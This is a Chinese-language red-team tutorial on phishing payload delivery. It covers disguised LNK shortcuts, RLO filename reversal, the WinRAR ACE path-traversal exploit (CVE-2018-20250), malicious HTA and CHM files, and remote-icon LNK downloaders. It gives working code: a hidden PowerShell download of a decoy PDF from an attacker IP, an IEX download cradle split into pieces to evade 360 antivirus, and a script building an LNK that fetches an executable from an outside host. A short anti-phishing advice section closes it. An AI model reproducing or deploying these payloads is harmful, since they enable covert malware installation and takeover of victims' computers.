lnk文件是用于指向其他文件的一種文件。這些文件通常稱為快捷方式文件,通常它以快捷方式放在硬盤上,以方便使用者快速的調(diào)用。lnk釣魚主要將圖標(biāo)偽裝成正常圖標(biāo),但是目標(biāo)會執(zhí)行shell命令。
lnk文件的載荷擁有自動隱藏.lnk后綴名,從而展現(xiàn)偽裝的后綴名以欺騙目標(biāo)的特點(diǎn)而被廣泛使用。
以calc.exe的快捷方式為例,我們首先更改ico圖標(biāo):
這里存在一個問題,如果用系統(tǒng)自帶的ico去做文件圖標(biāo)替換的話會有個弊端,即當(dāng)替換的ico在目標(biāo)機(jī)器上不存在時,就會出現(xiàn)類似空白ico圖標(biāo)。我們可以通過修改lnk的icon_location標(biāo)志位,修改為相關(guān)后綴,系統(tǒng)即可自動關(guān)聯(lián)到對應(yīng)的打開方式,達(dá)到自適配的效果
利用010 Editor
打開lnk文件,找到String Data部分ICON_LOCATION
字符串:
將其修改為./1.pdf:
效果展示:
修改ICON_LOCATION后,會根據(jù)目標(biāo)機(jī)器上所安裝的環(huán)境進(jìn)行適配,以顯示出符合本機(jī)環(huán)境的圖標(biāo),加大了樣本的成功幾率
利用原理:
在windows下面,支持一種特殊的unicode字符RLO,一個字符串中如果有這個字符的話,那么在windows下顯示時,就會把RLO右側(cè)的字符串逆序顯示出來。
在Windows中,如果我們直接修改文件后綴,會更改文件原本類型。但我們可以通過在文件名中插入此類unicode字符,來達(dá)到文件名反轉(zhuǎn)的效果,實(shí)現(xiàn)文件名欺騙,而不更改文件原本類型。
以cmd.exe為例,將其重命名為cmdgpj.exe,然后在 cmd 與 g 之間右鍵選擇插入U(xiǎn)nicode控制字符
,選擇RLO。然后利用http://www.bitbug.net/
將圖片轉(zhuǎn)為ico圖標(biāo),再配合ResourceHacker修改圖標(biāo)。
利用windows目錄默認(rèn)顯示文件名長度特性,進(jìn)行修改將文件名加長隱藏后綴名。
或者可以新建一個bat文件,使用cs生成powershell木馬,將其保存為test.bat。利用BAT2EXE導(dǎo)入前面創(chuàng)建的test.bat,然后將notepad
添加到test.bat的頂部,將Exe格式更改為'隱形應(yīng)用程序',以防止在目標(biāo)用戶打開文件時彈出任何終端,最后點(diǎn)擊Convert。
轉(zhuǎn)換成exe以后,利用RLO進(jìn)行文件名反轉(zhuǎn),再添加記事本的圖標(biāo)來進(jìn)行偽裝。當(dāng)用戶關(guān)閉此txt時會新增一個powershell進(jìn)程。這樣做會使目標(biāo)用戶相信他們剛剛單擊的文件確實(shí)是合法的文本文件,殊不知CS已悄然上線。
該漏洞是由于 WinRAR 所使用的一個陳舊的動態(tài)鏈接庫UNACEV2.dll所造成的,該動態(tài)鏈接庫在 2006 年被編譯,沒有任何的基礎(chǔ)保護(hù)機(jī)制(ASLR, DEP 等)。動態(tài)鏈接庫的作用是處理 ACE 格式文件。而WinRAR解壓ACE文件時,由于沒有對文件名進(jìn)行充分過濾,導(dǎo)致其可實(shí)現(xiàn)目錄穿越,將惡意文件寫入任意目錄,甚至可以寫入文件至開機(jī)啟動項(xiàng),導(dǎo)致代碼執(zhí)行
漏洞主要是由 WinRAR 用來解壓ACE壓縮包采用的動態(tài)鏈接庫 unacev2.dll 這個dll引起的。unacev2.dll 中處理 filename 時只校驗(yàn)了 CRC,黑客可以通過更改壓縮包的 CRC 校驗(yàn)碼來修改解壓時候的 filename,來觸發(fā)這個Path Traversal漏洞。但是 WinRAR 本身檢測了 filename,有一些限制并且普通用戶解壓 RAR 文件時候,并不能將我們惡意的 Payload 解壓到需要 System 權(quán)限的文件夾。
當(dāng)用戶將文件下載到默認(rèn)的C:\Users\test\Downloads
目錄下時,我們通過構(gòu)造C:\C:C:../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.exe
經(jīng)過 WinRAR 的 CleanPath 函數(shù)處理之后,會變成:C:../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.exe
其中 C: 會被轉(zhuǎn)換成當(dāng)前路徑,如果用 WinRAR 打開那么當(dāng)前路徑就是C:\Program Files\WinRAR
,要是在文件夾中右鍵解壓到 xxx,那么當(dāng)前路徑就是壓縮包所在的路徑。
當(dāng)用戶在文件夾中直接右鍵解壓到 xx,那么我們惡意的 payload 解壓地址就會變成:C:\Users\test\Downloads../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.exe
就是當(dāng)前用戶的啟動項(xiàng)。這樣一個利用完成了從一個Path Traversal到任意命令執(zhí)行的過程。
補(bǔ)充:如果解壓縮軟件并非目標(biāo)版本,則提示解壓失敗或者不是一個正常的壓縮包。
1、通過這個漏洞黑客可以將惡意程序(挖礦、勒索、間諜、anything)放入用戶啟動項(xiàng),當(dāng)目標(biāo)電腦重新啟動時獲取目標(biāo)主機(jī)的權(quán)限。
2、在擁有system權(quán)限下可以放入c:/windows/system32/wbem/mof/nullevt.mof,直接在獲取目標(biāo)主機(jī)的權(quán)限。
3、可以投放惡意dll文件進(jìn)行dll劫持獲取到目標(biāo)主機(jī)的權(quán)限,或者覆蓋用戶主機(jī)上的文件等方式獲取目標(biāo)主機(jī)的權(quán)限
- WinRAR < 5.70 Beta 1
- Bandizip <= 6.2.0.0
- 好壓(2345壓縮) <= 5.9.8.10907
- 360壓縮 <= 4.0.0.1170
漏洞利用exp:https://github.com/WyAtu/CVE-2018-20250
制作好CS馬后,將其復(fù)制到項(xiàng)目文件中,修改exp.py文件中的evil_filename:
修改python3的運(yùn)行命令
運(yùn)行exp.py后,將生成的惡意test.rar文件傳到win7靶機(jī)中的download目錄中
使用WINRAR解壓文件,解壓后會在自啟動目錄生成一個惡意文件hi.exe,我們可以運(yùn)行shell:startup
進(jìn)行查看
更多利用方式請參考:WinRAR(CVE-2018-20250)漏洞利用再升級 減少重啟系統(tǒng)的依賴
HTA是HTML Application的縮寫,直接將HTML保存成HTA的格式,是一個獨(dú)立的應(yīng)用軟件,本身就是html應(yīng)用程序,雙擊就能運(yùn)行,卻比普通網(wǎng)頁權(quán)限大得多,它具有桌面程序的所有權(quán)限。
Cobalt Strike也支持HTA釣魚文件的生成,提供了3種生成方式 exe,powershell,vba
生成方式:Attack>Packages>HTML Application
其中VBA方法需要目標(biāo)系統(tǒng)上的Microsoft Office,在系統(tǒng)支持的情況下我們一般選擇powershell,因?yàn)檫@種方式更加容易免殺。通常我們結(jié)合host File(文件下載功能),生成一個下載惡意HTA的網(wǎng)址來實(shí)行釣魚。
CHM(Compiled Help Manual)即“已編譯的幫助文件”。它是微軟新一代的幫助文件格式,利用HTML作源文,把幫助內(nèi)容以類似數(shù)據(jù)庫的形式編譯儲存。CHM支持Javas cript、VBs cript、ActiveX、Java?Applet、Flash。
常見圖形文件(GIF、JPEG、PNG)、音頻視頻文件(MID、WAV、AVI)等等,并可以通過URL與Internet聯(lián)系在一起。因?yàn)槭褂梅奖?,形式多樣也被采用作為電子書的格式?/p>
創(chuàng)建一個文件夾,在文件夾里面再創(chuàng)建兩個文件夾和一個index.html文件。index.html文件內(nèi)容如下:
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid='clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11' width=1 height=1>
<PARAM name='Command' value='ShortCut'>
<PARAM name='Button' value='Bitmap::shortcut'>
<PARAM name='Item1' value=',calc.exe'>
<PARAM name='Item2' value='273,1,1'>
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>
使用EasyCHM進(jìn)行編譯后,打開生成的CHM文件,就會彈出計(jì)算器:
利用powershell上線CS:
注意:exe后面要再加一個英文版逗號否則無法執(zhí)行exe,還要注意payload字符串的雙引號跟單引號是否沖突
使用CHM執(zhí)行powershell腳本,但唯一不足就是會彈出黑框。這里可以利用MyJSRat配合chm進(jìn)行上線
python2 MyJSRat.py -i 192.168.107.129 -p 8555
然后訪問下 url:http://192.168.107.129:8555/wtf
將payload復(fù)制到index.html文件中,然后重新編譯CHM。
受害者打開chm文件后,觸發(fā)Payload可無彈窗運(yùn)行命令:
實(shí)際釣魚的過程中,可以用正常chm文檔進(jìn)行偽裝,將其轉(zhuǎn)成html:
hh -decompile .\\html CHM.CHM
釣魚html payload復(fù)制修改,嵌入到IBurpCollaboratorClientContext.html文件中
1、新建一個指向%windir%/System32/mshta.exe
的快捷方式(文件名盡量帶有迷惑性),并更改其圖標(biāo)為%SystemRoot%/System32/SHELL32.dll
中任意一個
2、利用CS生成一個HTA文件,并利用Host File模塊生成兩個下載地址。其中一個指向正常的pdf文件,還有一個指向HTA文件
3、編輯HTA文件,于其執(zhí)行payload前增加如下語句(用于下載誘餌文檔并且進(jìn)行打開,同時誘餌文檔的顯示有多種方法,這里只是舉一個例子):
Dim open_pdf
Set open_pdf = CreateObject('Wscript.Shell')
open_pdf.run 'powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.107.129/1.pdf',$env:temp+'/2022最新薪資架構(gòu)制度.pdf');Start-Process $env:temp'/2022最新薪資架構(gòu)制度.pdf'', 0, true
利用上述方法,將lnk文件修改為自適應(yīng)的pdf的圖標(biāo),效果如下:
然后發(fā)送給靶機(jī)win7,雙擊該LNK文件,主機(jī)便會上線,而受害者會看到一正常的PDF文檔:
利用原理:
- 利用ftp參數(shù)!可以執(zhí)行系統(tǒng)命令
- -s:filename(指定包含 FTP 命令的文本文件;命令在FTP啟動后自動運(yùn)行。此參數(shù)中沒有空格。)
利用以上兩點(diǎn)達(dá)到命令執(zhí)行的效果
1、創(chuàng)建一個快捷方式(參數(shù)混淆繞過360):
2、新建一個aaa.dll,內(nèi)容為執(zhí)行當(dāng)前目錄下的1.ps1文件:!cmd /k powershell -exec bypass .\1.ps1
3、1.ps1內(nèi)容為CS上線命令,這里使用使用拼接的方式替換關(guān)鍵詞,可繞過360的檢測:
$c3 ='IEX';
$c6='(new-object net.webc';
$c7='lient).downlo';
$c8='adstr';
$c9 ='ing(''http://192.168.107.129:80/abc'')';
IEX ($c3+$c6+$c7+$c8+$c9)
操作系統(tǒng)不僅會從本地驅(qū)動器加載外部圖標(biāo)文件,還會嘗試從以 UNC 格式指定的遠(yuǎn)程路徑或者通過URL加載。當(dāng)文件資源管理器顯示 LNK 文件時,會嘗試加載圖標(biāo),如果圖標(biāo)由 UNC 或 URL 路徑指定存在,它將被下載并顯示。當(dāng)計(jì)算機(jī)獲取文件之后會像鏈接請求并緩存到:%USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache
注意:ICON_LOCATION 字符串的限制:必須以.ico
結(jié)尾
直接用ps1生成快捷方式:
$shell = New-Object -ComObject WScript.Shell
$shortcut = $shell.CreateShortcut('C:\users\sws123\desktop\aaaa.lnk')
$shortcut.TargetPath = 'C:\windows\system32\cmd.exe'
$shortcut.Arguments = ' /c 'cd %USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache & dir /s /B calc*.exe | cmd.exe /k' '
$shortcut.IconLocation = 'http://192.168.107.129:8000/calc.exe?.ico'
$shortcut.Save()
當(dāng)在文件資源管理器中打開 LNK 所在的文件夾時,操作系統(tǒng)將嘗試使用 HTTP GET 請求下載 URL 指定的文件:
生成的 HTTP GET 請求將導(dǎo)致將calc.exe下載到路徑 %USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache
(在 W10 機(jī)器上)中的某個位置,名稱為 calc[1].exe
由于文件路徑是基本確定的,可以通過lnk文件修改鏈接指向cmd并執(zhí)行它
制作一個特殊的 LNK 文件,將其壓縮并通過網(wǎng)絡(luò)釣魚電子郵件發(fā)送出去,或者將 LNK 上傳到多個用戶使用的網(wǎng)絡(luò)文件共享
詳情請參考:Using Shell Links as zero-touch downloaders and to initiate network connections
釣魚郵件防范措施:
對公司來說:
1)組織員工進(jìn)行釣魚郵件防范培訓(xùn),提高全員網(wǎng)絡(luò)空間安全防范意識;
2)在公司內(nèi)部不定期進(jìn)行釣魚郵件安全測試,及時發(fā)現(xiàn)問題并采取補(bǔ)救措施;
3)使用高安全性郵件系統(tǒng),并及時配置安全過濾機(jī)制;
4)敦促員工安裝殺毒軟件,并及時更新病毒庫.
對個人來說:
1)認(rèn)真學(xué)習(xí)CNCERT發(fā)布的《釣魚郵件攻擊防范指南》,做到“五要”“五不要”,增強(qiáng)安全防范意識;
2)不要輕信發(fā)件人地址顯示的“顯示名”,遇到索要敏感信息的郵件需要及時通過電話核實(shí);
3)切忌輕易打開郵件中文中的短鏈接,謹(jǐn)防上當(dāng)受騙,造成財(cái)物損失;
4)安裝殺毒軟件,郵件附件運(yùn)行前先進(jìn)行病毒查殺.
基于釣魚攻擊的技術(shù)點(diǎn)研究
紅隊(duì)攻防之CHM文檔釣魚
紅藍(lán)對抗之郵件釣魚攻擊
HW在即——紅隊(duì)活動之Lnk樣本載荷篇
【漏洞復(fù)現(xiàn)】WinRAR目錄穿越漏洞(CVE-2018-20250) - 愛碼網(wǎng)
滲透地基釣魚篇-Cobalt Strike釣魚
zhihu.com%2Fp%2F361573261' target='_blank'>黑客實(shí)戰(zhàn)經(jīng)常用到的釣魚繞過騷操作
聯(lián)系客服